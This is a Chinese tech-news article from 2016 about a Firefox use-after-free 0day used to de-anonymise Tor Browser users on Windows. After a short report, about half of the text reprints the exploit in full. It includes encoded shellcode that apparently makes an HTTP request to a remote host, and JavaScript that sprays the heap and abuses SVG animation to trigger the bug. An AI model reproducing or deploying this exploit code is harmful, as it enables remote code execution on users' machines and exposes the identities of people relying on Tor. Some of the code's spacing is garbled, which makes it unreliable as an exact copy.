firefox tor
FB招聘站
分类阅读
专栏
公开课
FIT 2019
企业服务
用户服务
搜索
投稿
登录
注册
快讯:黑客正在利用Firefox的0day漏洞攻击Tor用户(含Exploit) Alpha_h4ck2016-12-04共222452人围观 ,发现 8 个不明物体 终端安全资讯
根据最新的消息,安全研究专家发现了一个0day漏洞,攻击者或可利用该漏洞在Tor和Firefox浏览器用户的计算机中执行恶意代码。
Clipboard Image.png
就在几天前,Tor官网上首次出现了关于一个未知的Firefox漏洞的消息。其中包含有数百行的漏洞利用代码(JavaScript),攻击者可以利用这份代码来攻击Tor浏览器的用户。Tor项目的联合创始人RogerDingledine也证实了该漏洞的真实性,并且表示Mozilla的工程师们正在努力开发针对该漏洞的修复补丁。
安全研究专家在对代码进行了分析之后表示,攻击代码利用了一个内存崩溃漏洞,该漏洞将允许攻击者在运行了Windows操作系统的计算机中执行恶意代码。
想必各位都知道,2013年美国联邦调查局曾经利用了某种技术成功找出了那些利用Tor匿名服务来访问儿童色情网络的用户,而根据一位独立安全研究人员(@TheWack0lian)的分析报告,此次的恶意Payload与2013年FBI所用的Payload几乎是一样的。
TheWack0lian在接受采访时表示:“此次的漏洞利用代码与2013年FBI所用的几乎是一样的,它用来执行恶意代码的漏洞也与2013年Tor浏览器中的漏洞几乎相同。其中的大部分代码都是一样的,只有一小部分改变了。”如果同学们对2013年的那次攻击事件感兴趣的话,可以参阅这份报告【点我获取】。
根据另外一位安全研究人员(JoshuaYabut)的分析报告,攻击者利用了一个所谓的用后释放(UAF)漏洞,该漏洞需要使用JavaScript来触发。Yabut表示,攻击者可以通过这段漏洞利用代码攻击Windows系统,漏洞利用代码可以根据目标Firefox浏览器的版本来调整payload的内存位置,而且远程代码执行的成功率为100%。这也就意味着,攻击者在开发这段漏洞利用代码时进行了非常广泛的测试,并以此来确保攻击代码可以在多版本的Firefox浏览器中正常运行。除此之外,漏洞利用代码还会直接调用kernel32.dll(Windows操作系统的核心部分)。
Clipboard Image.png
Mozilla的官方发言人表示,公司已经得知了关于该漏洞的详细信息,相关的技术人员正在努力修复该漏洞。考虑到目前这个漏洞的影响范围,再加上漏洞利用代码已被公布出来,受影响的用户数量可能还会继续增加。因此Mozilla也建议用户在可用的更新补丁发布之前,先暂时选择使用其他的浏览器。如果用户仍然想使用Firefox的话,至少应该禁用访问网站的JavaScript脚本。除此之外,用户也应该停止使用Tor。
漏洞利用代码
下面这段JavaScript代码就是攻击者用来攻击Tor浏览器的漏洞利用代码。它由一个HTML页面和CSS文件构成,具体如下所示。虽然代码的具体功能目前尚不清楚,但是它可以直接访问Windows操作系统的kernel32.dll。
HTML:
var thecode
='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002
\ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
+
'\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
var worker = newWorker('cssbanner.js');
worker.postMessage(thecode);
var svgns ='http://www.w3.org/2000/svg';
var heap80 = newArray(0x1000);
var heap100 =new Array(0x4000);
var block80 =new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase =undefined;
var arrBase =undefined;
var animateX =undefined;
var containerA =undefined;
var offset =0x90;
if
(/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
{
offset = 0x88;// versions 47.0 or greater
}
var $ =function(id) { return document.getElementById(id); }
var exploit =function()
{
var u32 = newUint32Array(block80)
u32[0x2] =arrBase - offset;
u32[0x8] =arrBase - offset;
u32[0xE] =arrBase - offset;
for(i =heap100.length/2; i < heap100.length; i++) { heap100[i] =block100.slice(0) } for(i = 0; i< heap80.length/2; i++) { heap80[i] =block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i =heap80.length/2; i < heap80.length; i++) { heap80[i] =block80.slice(0) } for(i =heap100.length/2; i < heap100.length; i++) { heap100[i] =block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') window.dump('PAUSING!!! YAYA'); containerA.pauseAnimations(); } worker.onmessage = function(e) { worker.onmessage = function(e) { window.setTimeout(function() { worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') }, 1000); } arrBase = e.data; exploit(); } var idGenerator =function() { return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var craftDOM =function() { containerA =document.createElementNS(svgns, 'svg') var containerB =document.createElementNS(svgns, 'svg'); animateX =document.createElementNS(svgns, 'animate') var animateA =document.createElementNS(svgns, 'animate') var animateB =document.createElementNS(svgns, 'animate') var animateC =document.createElementNS(svgns, 'animate') var idX =idGenerator(); var idA =idGenerator(); var idB =idGenerator(); var idC =idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload =craftDOM; //